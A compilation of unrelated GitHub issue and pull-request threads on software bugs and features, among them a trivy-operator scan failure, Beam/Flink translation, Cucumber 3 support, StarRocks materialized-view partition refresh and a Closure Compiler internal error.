Hi @ReesMcD ,
Thanks for starting this off. I can see that the increment and flip work just fine.
Based on what was asked for the Editor specs, I have a few questions:
(1) Is it possible to create multiple instances of models? (Like I see you have testModel and otherModel, so if I needed to create another model exactly like testModel and otherModel, I would need to add another one in the same file, but is it possible to just have testModel and instantiate that model multiple times?)
(2) If I needed to save/access the states of different editors, should I have the model in the global Rematch (what you have here) or should I create another editor rematch state management system?
The reason why I'm asking is because for the editor implementation, I think the requirements are:
(1) To have different ids for each instantiated (and saved) code editor.
(2) To save the state of each editor's content.
(3) To destroy the id and content of the editor when a user presses close.

@ashwinkjoseph I'm on board with one model per file, this was mainly to dementrate 2 models. I am unsure on the direction of how editors will function (multiple or otherwise) but the framework here can be fitted for it. As for non UI pieces we could leverage a service flow that will access the state and components will speak to the state, but this sounds like an issue we can look into later in refactor.

@yu-emily I looked at your PR and it seems like you have address your these issue and think we are on the right track here. Im going to test through your code and clean up the branch from my boilerplate so this PR can be closed.


Vulnerabilityreports not created when one image isn't scanable

First of all: Thanks for your amazing work with this application!
What steps did you take and what happened:
If one image of a pod (inside a replicaset) isn't scanable, no vulnerabilityreports are created at all.
Example: A pod consists of 1 init-container and 2 containers (app and nginx sidecar). When the scan of the nginx fails with the following error log, the vulnerabilityreports for the main app and the init-container aren't created as well.
{"level":"error","ts":"2024-03-08T16:55:24Z","logger":"reconciler.scan job","msg":"Scan job container","job":"trivy-operator/scan-vulnerabilityreport-77f9448bc9","container":"demo-api-nginx","status.reason":"Error","status.message":"2024-03-08T16:54:46.562Z\t\u001b[31mFATAL\u001b[0m\timage scan error: scan error: unable to initialize a scanner: unable to initialize an image scanner: 4 errors occurred:\n\t* docker error: unable to inspect the image (registry/demo-nginx:1.25.3): Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?\n\t* containerd error: containerd socket not found: /run/containerd/containerd.sock\n\t* podman error: unable to initialize Podman client: no podman socket found: stat podman/podman.sock: no such file or directory\n\t* remote error: unsupported MediaType: \"application/vnd.docker.distribution.manifest.v1+prettyjws\", see [https://github.com/google/go-containerregistry/issues/377\n\n\n","stacktrace":"github.com/aquasecurity/trivy-operator/pkg/vulnerabilityreport/controller.(*ScanJobController).processFailedScanJob\n\t/home/runner/work/trivy-operator/trivy-operator/pkg/vulnerabilityreport/controller/scanjob.go:346\ngithub.com/aquasecurity/trivy-operator/pkg/vulnerabilityreport/controller.(*ScanJobController).SetupWithManager.(*ScanJobController).reconcileJobs.func1\n\t/home/runner/work/trivy-operator/trivy-operator/pkg/vulnerabilityreport/controller/scanjob.go:81\nsigs.k8s.io/controller-runtime/pkg/reconcile.Func.Reconcile\n\t/home/runner/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.16.3/pkg/reconcile/reconcile.go:111\nsigs.k8s.io/controller-runtime/pkg/internal/controller.(*Controller).Reconcile\n\t/home/runner/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.16.3/pkg/internal/controller/controller.go:119\nsigs.k8s.io/controller-runtime/pkg/internal/controller.(*Controller).reconcileHandler\n\t/home/runner/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.16.3/pkg/internal/controller/controller.go:316\nsigs.k8s.io/controller-runtime/pkg/internal/controller.(*Controller).processNextWorkItem\n\t/home/runner/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.16.3/pkg/internal/controller/controller.go:266\nsigs.k8s.io/controller-runtime/pkg/internal/controller.(*Controller).Start.func2.2\n\t/home/runner/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.16.3/pkg/internal/controller/controller.go:227](https://github.com/google/go-containerregistry/issues/377/n/n/n%22,%22stacktrace%22:%22github.com/aquasecurity/trivy-operator/pkg/vulnerabilityreport/controller.(*ScanJobController).processFailedScanJob/n/t/home/runner/work/trivy-operator/trivy-operator/pkg/vulnerabilityreport/controller/scanjob.go:346/ngithub.com/aquasecurity/trivy-operator/pkg/vulnerabilityreport/controller.(*ScanJobController).SetupWithManager.(*ScanJobController).reconcileJobs.func1/n/t/home/runner/work/trivy-operator/trivy-operator/pkg/vulnerabilityreport/controller/scanjob.go:81/nsigs.k8s.io/controller-runtime/pkg/reconcile.Func.Reconcile/n/t/home/runner/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.16.3/pkg/reconcile/reconcile.go:111/nsigs.k8s.io/controller-runtime/pkg/internal/controller.(*Controller).Reconcile/n/t/home/runner/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.16.3/pkg/internal/controller/controller.go:119/nsigs.k8s.io/controller-runtime/pkg/internal/controller.(*Controller).reconcileHandler/n/t/home/runner/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.16.3/pkg/internal/controller/controller.go:316/nsigs.k8s.io/controller-runtime/pkg/internal/controller.(*Controller).processNextWorkItem/n/t/home/runner/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.16.3/pkg/internal/controller/controller.go:266/nsigs.k8s.io/controller-runtime/pkg/internal/controller.(*Controller).Start.func2.2/n/t/home/runner/go/pkg/mod/sigs.k8s.io/controller-runtime@v0.16.3/pkg/internal/controller/controller.go:227)"}
What did you expect to happen:
The scan of the nginx image fails (reason of this is not a subject of this issue) but the reports for the init-container and main app are getting created.
Environment:

Trivy-Operator version: 0.18.3
Kubernetes version: 1.27.8
OS: Ubuntu 20.04 LTS

@Remsboys is this image registry/demo-nginx:1.25.3 stored in private registry ?

@chen-keinan Yes, a harbor instance

@chen-keinan Thanks for your reply. Let me explain, why i don't share the same supposition:

The scans are working properly for all other images from the same private repository (harbor), using the similar authentification types
The particular images aren't scanable because of using a old docker manifest "unsupported MediaType: "application/vnd.docker.distribution.manifest.v1+prettyjws", "
The issue or question is now, why all scans for images in the same pod are stopped / the vulnerabilityreports aren't created, if only one of the included images failes
My wish would be, that i get a vulnerabilityreports for at least the "main" container as this is possible to scan. Thanks.

@Remsboys  I see your problem , I'll have a look , we could ignore on image incase of failure

@Remsboys I have created a fix #1917  for this issue it will be out with next release

@chen-keinan Thank you very much for the fast fix. I tested the new version thoroughly and can happily report, that it works perfect.

@Remsboys thanks for the update


Add Python client SDK library

@WOROTH see python lib for connecting to RTK directly: https://pypi.org/project/raidtoolkit/

Great thanks!
It works prefect!
But incoming data is still obsolete.


Publish DragEvent::Canceled always when picked Pane is dropped outside valid target area

Currently a pane_grid::DragEvent::Canceled is not published when a picked pane_grid::Pane is dropped near the origin point where it was picked up (closer than DRAG_DEADBAND_DISTANCE) or outside the window. However in both cases in the pane grid state pane_grid::Memory the action state gets set from Action::Dragging to Action::Idle i.e. cancelling the dragging action.
As such, clicking a pane title bar produces DragEvent::Picked event but not subsequent DragEvent::Canceled, leaving a user who needs to track the dragging state thinking the pane is being dragged while it is not.
This change adds publishing Canceled variant in the aforementioned cases. Thus, dropping a picked pane will always produce either Dropped or Canceled variant depending whether the drop point was a valid pane_grid:::Target area.

Easy way to test this is to run the pane_grid example with the following changes to Message handling to print all drag events to console:
            Message::Dragged(pane_grid::DragEvent::Picked { pane }) => {
                println!("{:?} drag started", pane);
            }
            Message::Dragged(pane_grid::DragEvent::Dropped {
                pane,
                target,
            }) => {
                self.panes.drop(pane, target);
                println!("{:?} drag dropped", pane);
            }
            Message::Dragged(pane_grid::DragEvent::Canceled { pane }) => {
                println!("{:?} drag canceled", pane);
            }

and then testing to:

clicking the pane title bars
dragging and dropping panes outside the window


global: migrate templates/assets to Semantic-UI

Follow the migration guide
Afterwards:

Create a new minor release
Bump in Invenio v3.4

First migration was done, remaining templates for migration described here


[BEAM-2806] Fix pipeline translation mode recognition

Follow this checklist to help us incorporate your contribution quickly and easily:

[x] Make sure there is a JIRA issue filed for the change (usually before you start working on it).  Trivial changes like typos do not require a JIRA issue.  Your pull request should address just this issue, without pulling in other changes.
[x] Each commit in the pull request should have a meaningful subject line and body.
[x] Format the pull request title like [BEAM-XXX] Fixes bug in ApproximateQuantiles, where you replace BEAM-XXX with the appropriate JIRA issue.
[x] Write a pull request description that is detailed enough to understand what the pull request does, how, and why.
[x] Run mvn clean verify to make sure basic checks pass. A more thorough check will be performed on your pull request automatically.
[x] If this contribution is large, please file an Apache Individual Contributor License Agreement.

retest this please

UnboundedSourceWrapperTest is failing in the gradle build but it's not failing when I run in the IDE. I'll try running gradle locally now.

I run a test locally and it seems the error is still there, and the test doesn't cover View.

@XuMingmin Do you have that test as a nicely isolated thing that I could run so that we can debug this?

@aljoscha it should be a false alarm. I move my test code(see below) to class FlinkPipelineExecutionEnvironmentTest and it pass. In short, good to go to me.
FlinkPipelineOptions options = PipelineOptionsFactory.as(FlinkPipelineOptions.class);
    options.setRunner(TestFlinkRunner.class);
    options.setFlinkMaster("[auto]");

    FlinkRunner flinkRunner = FlinkRunner.fromOptions(options);
    FlinkPipelineExecutionEnvironment flinkEnv = new FlinkPipelineExecutionEnvironment(options);
    Pipeline pipeline = Pipeline.create();

    final PCollectionView<Integer> lkpPCollection = pipeline.apply("src2", Create.of(1))
        .apply(View.<Integer>asSingleton());

    PCollection<String> mainPCollection = pipeline
        .apply(KafkaIO.<String, String>read()
            .withBootstrapServers("localhost:9092")
            .withTopic("teststream")
            .withKeyDeserializer(StringDeserializer.class)
            .withValueDeserializer(StringDeserializer.class)
            .withoutMetadata()
            )
        .apply(Values.create())
        ;

    mainPCollection.apply(ParDo.of(new DoFn<String, String>() {
      @ProcessElement
      public void processElement(ProcessContext c) throws Exception {
        if (Long.valueOf(c.element()) % 2 == c.sideInput(lkpPCollection)) {
          c.output(c.element());
        }
      }
    }).withSideInputs(lkpPCollection))

        .apply(Window.<String>into(FixedWindows.of(Duration.standardMinutes(1))))
        .apply(TextIO.write().withNumShards(1).withWindowedWrites().to("/dummy/path"));

    flinkEnv.translate(flinkRunner, pipeline);

Thanks a lot for working on this and coming up with the better solution. 👍
I'm merging...


Pull in lifecycle phases and retention period

As the PhaseResource is always a sub-item of a lifecycle, and cannot be querired otherwise (i.e. unable to request "Get Phase By Name") - there is no need to move this resource from the OpenAPI spec, and into the core of the Java SDK.


Fix a typo in parsing argument

Change if to if else otherwise the num_threads will be parsed as filename.

Thanks!


How should I deploy your example using a cluster I deployed with Kubeadm

It looks like I'm having trouble deploying your example with Kubeadm
[root@zc1 webhook]# kubectl apply -f webhookconf.yaml
error: unable to recognize "webhookconf.yaml": no matches for kind "MutatingWebhookConfiguration" in version "admissionregistration.k8s.io/v1"

@zhaocheng173 what's your kubernetes server version ?


Switch from bundlewatch to compressed-size

A much easier and cleaner solution for tracking bundle size changes.

Error: compressed-size-action was unable to comment on your PR.
This can happen for PR's originating from a fork without write permissions.
You can copy the size table directly into a comment using the markdown below:
Size Change: 0 B
Total Size: 225 kB
ℹ View Unchanged

Filename
Size
Change

dist/chart.esm.js
61.3 kB
0 B

dist/chart.js
87.5 kB
0 B

dist/chart.min.js
59.9 kB
0 B

dist/chunks/helpers.segment.js
15.6 kB
0 B

dist/helpers.esm.js
979 B
0 B


Unable to find Sanitize Callback Function missing on customizer API

While uploading themes on .org, if Sanitize Function is missing, it shows Required: Found a customizer setting that did not have a sanitize function.  But if we check theme with this plugin, we can't get this error.

The theme checker on wordpress.org is this one: https://wordpress.org/plugins/theme-check/
The repo for it should be located here: https://github.com/WordPress/theme-check so you can try to check if the issue exists there.
Also which coding standard are you using when sniffing the theme?

Hello @dingo-d,
Yes, i got the error on Theme Check plugin. I just posted issues here for Theme Sniffer. I think we are planning to implement this plugin on .org so better to add missing things to this plugin as well.
Thank you

With Tide coming I'm not sure what is the status of Theme Sniffer. I'll continue working on it in my spare time, and we could add it on plugin repo eventually :)

Closed due to inactivity


ocl: 2.9.2-1 in 'kinetic/distribution.yaml' [bloom]

Increasing version of package(s) in repository ocl to 2.9.2-1:

upstream repository: https://github.com/orocos-toolchain/ocl.git
release repository: https://github.com/orocos-gbp/ocl-release.git
distro file: kinetic/distribution.yaml
bloom version: 0.8.0
previous version for package: 2.9.1-3

Holding for sync


[Feature Request] Version endpoint should return active sub-servers

In the 0.10.0 release, a new version sub-server was added that indicates the build tags that were used to create the lnd binary
Clients may pay attention to these build tags to check if specific sub-server support has been built into the compiled binary. However if they do so, there is a scenario in which the release binary and make file were not used, and so the build tags are not truly indicative of which sub-servers are supported
To address this inconsistency, the version sub-server "get version" endpoint should be updated to actually check which sub-servers are active and then return that information to the client in the response.

See https://github.com/lightningnetwork/lnd/pull/4163#discussion_r405760431


Can't seem to go past this. I guess it's a bug.

Challenge http://freecodecamp.com/challenges/waypoint-manipulate-arrays-with-shift has an issue. Please describe how to reproduce it, and include links to screenshots if possible.

What code are you entering? I'm able to get it to pass fine with the code
var myRemoved = myArray.shift();
on line 8.

closing. Please reopen with more information on how to reproduce issue.
Please see: https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/How-to-get-help-when-you-get-stuck

ok. thanks.
fixed now.
On Tue, Aug 18, 2015 at 2:17 AM, Jeremy Mauzy<EMAIL_ADDRESS>wrote:

What code are you entering? I'm able to get it to pass fine with the code
var myRemoved = myArray.shift();
on line 8.
—
Reply to this email directly or view it on GitHub
https://github.com/FreeCodeCamp/FreeCodeCamp/issues/1962#issuecomment-132017460
.


compile: fix sign compare compiler error

clean up compile erros in ocl related code without "-Wno-sign-compare"

+1

merged as 8a722a435ea0a75b8ca402e1e2a6f76392986f4a


Move the "iso_checksum_type" in all the templates into the user-variables

This PR moves the "iso_checksum_type" field that is explicitly defined as "sha1" in all the builders into the user-variable section for all of the templates. We already allow the user to specify the "iso_checksum" as a user-variable which allows its customization. So by exposing the checksum type as well, this allows the user to choose whatever checksum they see fit. This allows the user complete control over the iso, its checksum, and its checksum type when building the template.
Each of the builders in all of the templates use a default value of "sha1" for the "iso_checksum_type", so this was used for the default value of the "iso_checksum_type" user variable in order to retain backwards compatibility.

All template seem to validate successfully. I'm going to merge this.


Encoding problem

Encoding is a problem which prevents program from working on windows

Well, forced utf-8 file read... A temporary solution.


Promise API

implement promises according to the Promises/A+ open standard.

Promises sound nice as well, but there are many packages out there already... Does it make a lot of sense to implement it again from scratch (which is a lot of hard work) instead of using amphp or react promises and coroutines? (Which are quite nice and have the async event loops covered through multiple extensions with vanilla PHP callbacks etc.)

I'm not really sure about this, the question should be: "does it make sense to have promises in a standard library", the issue is we cannot use Amphp, or ReactPHP here, as PSL should not have any dependencies except for PHP itself and core/bundled/external extensions ( we shouldn't rely on PECL extensions as well, see: https://www.php.net/manual/en/extensions.membership.php ). 🤔

As long as it has a then method we at @reactphp can support it. (Assuming you're wrapping it through our resolve function.)

I believe guzzle does the same, so I'm closing this as Psl\Result\ResultInterface will have a then method ( see discussion at #65 ), which mean it can act as a promise to some extent.

Wow, that's nice! Did not know react could do that!

@veewee Yup, only thing is that we assume it is a pure promise with no side effects.


Cucumber 3 support

I'm getting uninitialized constant Cucumber::RbSupport (NameError)

What exactly version of Cucumber do you have?

Cucumber 3.0.1
I've made the following workaround:
  around = method(:Around)
  Knapsack::Adapters::CucumberAdapter.class_eval do
    define_method :Around do |*args, &block|
      around.call(*args, &block)
    end
  end

I experience the same issue. Also on 3.0.1.

Ok. I will have to add support for Cucumber 3 then in https://github.com/ArturT/knapsack/blob/master/lib/knapsack/adapters/cucumber_adapter.rb

FYI The workaround proposed by @iain does not work. The code is running but the hook is not called.
I found how to use around hook in Cucumber 3 here https://github.com/cucumber/cucumber-ruby/blob/v3.0.0/lib/cucumber/glue/dsl.rb
I prepared fix here: https://github.com/ArturT/knapsack/pull/68
I've released a new version of knapsack and knapsack_pro gem. You can learn more how to speed up your tests with advanced pro version here: https://knapsackpro.com
Thanks for reporting issue! 👍


是不是只能在Windows环境下运行 在linux环境下报错

Traceback (most recent call last):
File "/home/ABB/Extract_table/Image_conversion.py", line 1, in
import office
File "/public/software/Anaconda3/lib/python3.9/site-packages/office/init.py", line 1, in
from office.api import word
File "/public/software/Anaconda3/lib/python3.9/site-packages/office/api/word.py", line 13, in
from office.core.WordType import MainWord
File "/public/software/Anaconda3/lib/python3.9/site-packages/office/core/WordType.py", line 2, in
from win32com.client import constants, gencache
ModuleNotFoundError: No module named 'win32com'
Process finished with exit code 1

【常见问题】：https://www.python-office.com/ref/qaq.html
---原始邮件---
发件人: @.>
发送时间: 2023年3月3日(周五) 上午10:55
收件人: @.>;
抄送: @.***>;
主题: [CoderWanFeng/python-office] 是不是只能在Windows环境下运行 在linux环境下报错 (Issue #91)
Traceback (most recent call last):
File "/home/ABB/Extract_table/Image_conversion.py", line 1, in
import office
File "/public/software/Anaconda3/lib/python3.9/site-packages/office/init.py", line 1, in
from office.api import word
File "/public/software/Anaconda3/lib/python3.9/site-packages/office/api/word.py", line 13, in
from office.core.WordType import MainWord
File "/public/software/Anaconda3/lib/python3.9/site-packages/office/core/WordType.py", line 2, in
from win32com.client import constants, gencache
ModuleNotFoundError: No module named 'win32com'
Process finished with exit code 1
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you are subscribed to this thread.Message ID: @.***>


Feature request: auto-locate project root dir

GIT, SVN are probably used in our daily work. And there is a dir named .git/.svn in the root directory. By this, LeaderF can locate the project root dir automatically. It's useful sometimes. Ctrlp with ag can do this. It's great if LeaderF can do that. @Yggdroot

This is a duplicate with issue #43 . Since so many people request for this feature, I'll add it later.

great, i am looking forward that feature


fix(ui): displayName as optional field

Describe your changes:
Fixes: optional displayName for renaming modal
Change behaviour for displayName:

Make displayName optional
Remove hardcoded displayName for glossary & glossary term
show only name if displayName is not present for all the entities
- From ES displayName is hardcoded which pending from Backend. cc: @harshach

Type of change:

[ ] Bug fix
[ ] Improvement
[ ] New feature
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] Documentation

Checklist:

[x] I have read the CONTRIBUTING document.
[ ] My PR title is Fixes <issue-number>: <short explanation>
[ ] I have commented on my code, particularly in hard-to-understand areas.
[ ] For JSON Schema changes: I updated the migration scripts or explained why it is not needed.

one code smell from sonarcloud

one code smell from sonarcloud

Need to ignore it since I need || op which will replace with the next value upon having empty string


demo page not working

Thank you for reporting this! I'll take a look at this as soon as I can.

Blocked by https://github.com/doczjs/docz/issues/763

Shouldn't this issue be closed? The demo works, but not with the /demo in the URL.

Unfortunately, the fact that the demo works without the /demo was added as a temporary workaround for this (so that the demo is reachable). However, this is not ideal, and the demo should not be on the main page (because it immediately asks for location, which can seem wrong to some people).

Fixed in #963 by rewriting the demo application, now there are no routes.


GCE secure deployment

Changes default steps for GCE to detail secure deployment. Creates new page for insecure deployment.
Closes #775

This change is

http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/960f115006584964158169d66f36435e56249c6a/

Superseding with #821


Typescript example fails

🐛 Bug Report
The typescript example project doesn't work.
To Reproduce
Checkout jest
install and build yarn
goto the example cd examples/typescript/
install and run tests yarn && yarn test
Jest will report unexpected tokens for export and import.
Expected behavior
For the tests to pass without unexpected token exceptions
Link to repl or repo (highly encouraged)
Just in case this is automated jest
Issues without a reproduction link are likely to stall.
Run npx envinfo --preset jest
Paste the results here:
System:
    OS: Linux 4.18 Ubuntu 18.10 (Cosmic Cuttlefish)
    CPU: (8) x64 Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
  Binaries:
    Node: 11.9.0 - ~/.nvm/versions/node/v11.9.0/bin/node
    Yarn: 1.13.0 - /usr/bin/yarn
    npm: 6.5.0 - ~/.nvm/versions/node/v11.9.0/bin/npm

@SimenB are they supposed to work when run from the example dir instead of the root? Most other examples do.


[Feature] Expose a function similar to generate to be able to easily write case insensitive pairs

Personally, I wrote a few pairs to operate on, but I miss the possibility to define more than one pair of the same type quickly:
Enable/Disable enable/disable ENABLE/DISABLE
light/dark Light/Dark
zero/one/two/three/four/... Zero/One/Two
Left/Down/Up/Right left/down/up/right
There is a generate method already available, but it is local and not that useful to write simple sets.

I have extended the generate method  by reworking the capitalization behavior so that now you can do foo -> bar, Foo -> Bar, and FOO -> BAR. I haven't tried handling fOo -> bAr, seems like it would be annoying to implement.
I have also made that method available and updated the README with an example using enable / disable. Please let me know if this resolves the issue for you.


PropertyRequiredMixin

This is a mixin that can be leveraged whenever a component has a property/attribute that they want to treat as "required" -- something the developer consuming the component must set. This typically comes up on the accessibility side where we want to ensure labels are provided.
I've only implemented this for String properties, because I wasn't sure what it would mean for a Boolean (present or not?) or a Number to be "required". If we have actual use cases, I'm happy to add support for that.

This is ready for review. As I mentioned in standup, I'm going to do a follow-up that converts more things to use this.


[Feature Request] Multiple selection to end/delete multiple tasks

Every end of month, we need to finalize tasks that are in the ended column, and to do it we need to enter every task and finalize it. As you can assume, is a very tedious task.
If multiple selection was possible, this would be done in 10 seconds.
Best regards,
Ben Hur

@oxydron

Why not create a column all the way to the right ("End of the month" that has an Automatic action to it that closes the task?
At the end of each month, you just drag-and-drop tasks that are to be closed to this column.

This issue has been closed automatically for inactivity after 2 years. If you still need this feature, you should consider contributing to this open-source project.


AttributeError: 'TargetTask' object has no attribute 'token_address'

greenlet is terminated because of this error in some tests
https://travis-ci.org/pcppcp/raiden/jobs/389686763#979
the exception is raised from here:
https://github.com/raiden-network/raiden/blob/2df06259496fd10cadd29c8e3f4f5f86289f3940/raiden/transfer/node.py#L298
but removing the offending line won't fix the tests: - mediated transfer fails
https://travis-ci.org/pcppcp/raiden/jobs/389706012#L915

this does not belong here


fix(secondary-nav): logo text padding

What I did

Added padding of 10px to the logo slot in lightdom.css
Corrected the dark variant demo to include adjusted logo type max-width for wider screens.
Removed "extra link" on the dark variant demo, long logo text has a direct effect on how many links you can include.
Closes #544

TODO

[ ] Add changeset

Testing Instructions

View dark variant demo
View default demo

Notes to Reviewers
Determine if 10px is appropriate padding around the logo text.   Please review in mobile view and desktop viewport sizes.  Look at both the dark variant and the default demo. This is a non-standard spacer, I would like to determine if this is more appropriate visually than using 16px or 8px, both available as tokenized values.

@zeroedin Let's adjust 10px to 8px because 8px is token-ized, as you stated in chat.


[Enhancement] List Partition For AMV(Part 5): Support partial refresh list partition for mv

Why I'm doing:
Since materialized view has supported list partition, but we cannot refresh it  with partial partitions.
The only way to refresh list materialized view is :
create materialized view test_mv1
partition by dt
REFRESH DEFERRED MANUAL
distributed by hash(dt, province) buckets 10
PROPERTIES (
'partition_refresh_number' = '1',
"replication_num" = "1"
)
as select dt, province, sum(age) from t3 group by dt, province;

refresh materialized view  test_mv1

What I'm doing:

Support partial refresh list partition for mv:

1: refresh one partition for list mv:
refresh materialized view  test_mv1 partition ('2024-01-01') with sync mode;

refresh two partitions for list mv:

refresh materialized view  test_mv1 partition ('2024-01-01', '2024-01-02') with sync mode;

Enhance list partition with partition_ttl_number and partition_refresh_number
Add more tests.

TODO:

Even though StarRocks' mv only supports one partition column, but I have supported multi partition column in AST define  which we can supported later.

 : REFRESH MATERIALIZED VIEW mvName=qualifiedName (PARTITION (partitionRangeDesc | listPartitionValues))? FORCE? (WITH (SYNC | ASYNC) MODE)?

multiListPartitionValues
    :'(' singleListPartitionValues (',' singleListPartitionValues)* ')' // list partition values with multi partition columns: ('a, 'b', 'c'), ('d', 'e', 'f')
    ;

singleListPartitionValues
    : '(' listPartitionValue (',' listPartitionValue)* ')' // list partition value: ('a, 'b', 'c')
    ;

listPartitionValues // list partition values which can be with single or multi partition columns
    : singleListPartitionValues
    | multiListPartitionValues
    ;

Fixes #issue
What type of PR is this:

[ ] BugFix
[ ] Feature
[x] Enhancement
[ ] Refactor
[ ] UT
[ ] Doc
[ ] Tool

Does this PR entail a change in behavior?

[ ] Yes, this PR will result in a change in behavior.
[x] No, this PR will not result in a change in behavior.

If yes, please specify the type of change:

[ ] Interface/UI changes: syntax, type conversion, expression evaluation, display information
[ ] Parameter changes: default values, similar parameters but with different default values
[ ] Policy changes: use new policy to replace old one, functionality automatically enabled
[ ] Feature removed
[ ] Miscellaneous: upgrade & downgrade compatibility, etc.

Checklist:

[x] I have added test cases for my bug fix or my new feature
[ ] This pr needs user documentation (for new or modified features or behaviors)

[ ] I have added documentation for my new feature or new function

[ ] This is a backport pr

Bugfix cherry-pick branch check:

[x] I have checked the version labels which the pr will be auto-backported to the target branch

[x] 3.3
[ ] 3.2
[ ] 3.1
[ ] 3.0
[ ] 2.5

The list materialized view does not support partition_ttl_number. Would you consider adding this feature?


Kubric dataset

Hi, when I use the Kubric(Movi-E), I find the number of the train set is about 9750, the validation set is about 250 and the test set is about 999, which is different with the number 38,325/799 for train/validation in paper.

It's unlikely that Klaus or Andrea will see this comment here, and they're the ones that generated the external MOVi-E.  As I suggested over email, the Kubric repository is probably a better place for this issue.


build(landmark_tf_caster): add missing cv_bridge dependency

Description

package.xml needs a dependency for cv_bridge (see https://github.com/autowarefoundation/autoware-deb-packages/actions/runs/6275268080/job/17042494020?pr=33)
Tests performed

Not applicable.
Effects on system behavior

Not applicable.
Pre-review checklist for the PR author
The PR author must check the checkboxes below when creating the PR.

[x] I've confirmed the contribution guidelines.
[x] The PR follows the pull request guidelines.

In-review checklist for the PR reviewers
The PR reviewers must check the checkboxes below before approval.

[ ] The PR follows the pull request guidelines.

Post-review checklist for the PR author
The PR author must check the checkboxes below before merging.

[ ] There are no open discussions or they are tracked via tickets.

After all checkboxes are checked, anyone who has write access can merge the PR.

@SakodaShintaro @xmfcx @mitsudome-r could you have a look at this PR? It's a very small change. Thanks.

@SakodaShintaro no problem, thanks for reviewing this PR so quickly :slightly_smiling_face:


'Unexpected variable NaN' during compilation

We had a javascript file with suspicious formatting.  It worked fine in the browser, but gave the Asset Pipeline compiler trouble (more in a moment).  The bigger issue is the error generated by the Closure Compiler.  Since it's buried under Asset Pipeline, I'm not sure how best to fix it (I was able to fix the javascript to get it to pass, but I mean how to fix the Closure Compiler).
Basically, it gets the following error (see the bottom for the full stacktrace):
ERROR pipeline.AssetCompiler  - Uglify JS Exception
Message: INTERNAL COMPILER ERROR.
Please report this problem.
Unexpected variable NaN
  Node(NAME NaN): application.unminified.js:15200:13
            +'

';
  Parent(COMMA): application.unminified.js:15200:12
            +'

';
... (truncated) ...
Caused by IllegalStateException: Unexpected variable NaN
->>  198 | visit            in com.google.javascript.jscomp.VarCheck

It sounds similar to these two issues:
https://code.google.com/p/closure-compiler/issues/detail?id=776
https://code.google.com/p/closure-compiler/issues/detail?id=1031
The original JavaScript that triggers the error looks like this (yes I know it's ugly but wanted to help you reproduce it):
var bar;
var length = (value / max) * 100;
bar = '

' + key.toLowerCase() + '

' + Number(value).toLocaleString('en');
    +'

';

Here's the full stacktrace:
|Processing File 95 of 1031 - application.js
|Uglifying File 95 of 1031 - application
Error |
2015-12-10 09:13:00,776 [main] ERROR pipeline.AssetCompiler  - Uglify JS Exception
Message: INTERNAL COMPILER ERROR.
Please report this problem.

 It worked fine in the browser, but gave the Asset Pipeline compiler trouble (more in a moment). The bigger issue is the error generated by the Closure Compiler. Since it's buried under Asset Pipeline, I'm not sure how best to fix it (I was able to fix the javascript to get it to pass, but I mean how to fix the Closure Compiler).
Basically, it gets the following error (see the bottom for the full stacktrace):
ERROR pipeline.AssetCompiler - Uglify JS Exception
Message: INTERNAL COMPILER ERROR.
Please report this problem.
Unexpected variable NaN
Node(NAME NaN): application.unminified.js:15200:13
+'';
Parent(COMMA): application.unminified.js:15200:12
+'';
... (truncated) ...
Caused by IllegalStateException: Unexpected variable NaN
->>  198 | visit            in com.google.javascript.jscomp.VarCheck
It sounds similar to these two issues:
https://code.google.com/p/closure-compiler/issues/detail?id=776
https://code.google.com/p/closure-compiler/issues/detail?id=1031
The original JavaScript that triggers the error looks like this (yes I know it's ugly but wanted to help you reproduce it):
var bar;
var length = (value / max) * 100;
bar = '' + key.toLowerCase() + '' + Number(value).toLocaleString('en');
+'';
Here's the full stacktrace:
|Processing File 95 of 1031 - application.js
|Uglifying File 95 of 1031 - application
Error |
2015-12-10 09:13:00,776 [main] ERROR pipeline.AssetCompiler  - Uglify JS Exception
Message: INTERNAL COMPILER ERROR.
Please report this problem.
Unexpected variable NaN
Node(NAME NaN): application.unminified.js:15200:13
+'';
Parent(COMMA): application.unminified.js:15200:12
+'';
Line | Method

->>  198 | visit            in com.google.javascript.jscomp.VarCheck

|    587 | traverseBranch   in com.google.javascript.jscomp.NodeTraversal
|    581 | traverseBranch . in     ''
|    621 | traverseFunction in     ''
|    572 | traverseBranch . in     ''
|    581 | traverseBranch   in     ''
|    621 | traverseFunction in     ''
|    572 | traverseBranch   in     ''
|    581 | traverseBranch . in     ''
|    316 | traverseRoots    in     ''
|    140 | process . . . .  in com.google.javascript.jscomp.VarCheck
|    285 | process          in com.google.javascript.jscomp.PhaseOptimizer$NamedPass
|    217 | process . . . .  in com.google.javascript.jscomp.PhaseOptimizer
|   1987 | optimize         in com.google.javascript.jscomp.Compiler
|    769 | compileInternal  in     ''
|     93 | access$000       in     ''
|    655 | call . . . . . . in com.google.javascript.jscomp.Compiler$3
|    652 | call             in     ''
|    699 | call . . . . . . in com.google.javascript.jscomp.Compiler$4
|    334 | innerRun         in java.util.concurrent.FutureTask$Sync
|    166 | run . . . . . .  in java.util.concurrent.FutureTask
|   1110 | runWorker        in java.util.concurrent.ThreadPoolExecutor
|    603 | run . . . . . .  in java.util.concurrent.ThreadPoolExecutor$Worker
^    722 | run              in java.lang.Thread
Caused by IllegalStateException: Unexpected variable NaN
->>  198 | visit            in com.google.javascript.jscomp.VarCheck

|    587 | traverseBranch   in com.google.javascript.jscomp.NodeTraversal
|    581 | traverseBranch . in     ''
|    621 | traverseFunction in     ''
|    572 | traverseBranch . in     ''
|    581 | traverseBranch   in     ''
|    621 | traverseFunction in     ''
|    572 | traverseBranch   in     ''
|    581 | traverseBranch . in     ''
|    316 | traverseRoots    in     ''
|    140 | process . . . .  in com.google.javascript.jscomp.VarCheck
|    285 | process          in com.google.javascript.jscomp.PhaseOptimizer$NamedPass
